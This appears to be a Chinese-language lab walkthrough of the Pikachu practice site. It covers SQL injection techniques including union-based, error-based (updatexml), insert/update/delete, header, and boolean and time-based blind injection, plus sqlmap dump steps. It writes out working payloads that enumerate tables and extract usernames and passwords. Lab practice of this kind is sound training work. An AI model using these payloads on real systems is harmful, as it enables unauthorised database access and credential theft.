SQL注入
1、SQL注入
1.1 数字型sql注入
1)首先第一关这是post类型的,要抓包,在包里改
2)发送到repeater模块,进行修改,实现重复发包的过程,加一个单引号,发现报错,因为知道这是数字型的,所以我们使用order by 看看他有几行数据
3)我试了1,3发现是两行数据
4)接下来就是union select :id=2 union select 1,2
5)发现确实改变了,有回显的数据,然后就是开始查询了,利用mysql自带的数据库information_schema进行查询,首先是当前数据库的名字:id=2 union select 1,database()
6)然后是数据库中的表的名字:id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
7)然后是查列名:id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'
8)然后就是获取下全部的username 和password:id=2 union select group_concat(username),group_concat(password) from users
9)利用解码工具,解码
1.2 字符型sql注入
1)第二关是属于get类型的注入,直接在url里修改就可以了。
2)基本过程都一样,先让他报错,再让他不报错
3)判断列数
4)获取表名
5)查询下message表列名
6)查表中内容
7)这是内容,之前做xss的时候写入的js代码
1.3 搜索型注入
1)和之前没啥区别,但是他用了%来进行模糊搜索,我们构造闭合的时候,只需要注意下就可以了,对于添加不添加%好像没啥意义。。
2)下面用一种比较直接的方式进行 or 1=1,这样就能查询全部数据
1.4 xx型注入
1)构造吧
2) or 1=1
1.4 报错注入
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0)
1.5 insert/update/delete类型注入
1)insert可以利用在注册界面,输入用户名,构造payload
abc‘ or updatexml(1,concat(0x7e,database()),0) or '
2)update类型主要应用在修改信息的页面,构造的payload和insert类型基本相同
3)delete类型的会用到bp,可以知道这是一个get类型的,然后把id=69的message给删除了
然后我们可以把它发送到repeater模块,构造payload,利用报错注入可以得到我们想要的,注意使用url编码
1.6 http header
注入点一般在cookie和 user-agent
1.7 盲注
1)布尔盲注
盲注就是看不到报错信息的那种,然后你就得自己慢慢猜,可以直接用暴力破解工具来进行,下面是payload:(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)=1
2)时间盲注
时间盲注比布尔盲注更狗,至少布尔盲注你对了人家会给你返回一些信息,但是时间盲注。。。
所以就需要我们使用一个函数:sleep(),可以测试,回答正确沉睡一会,错误直接返回
就像这样,那我们可以用来测试爆一爆数据库的名字
lucy' and if(substr(database(),1,1)='p',sleep(5),0)#
我们知道是pikachu的,所以我们还是猜对了这个。。
1.8 宽字节注入
1.9 sqlmap使用步骤
1)
2)获取当前数据库
--current-db
3)获取表 -D XX --tables
4)获取字段
-D XX数据库 -T表 --columns
5)然后可以获取下users表中的username 和 password
-D XX数据库 -T 表 -C字段 --dump
牛逼!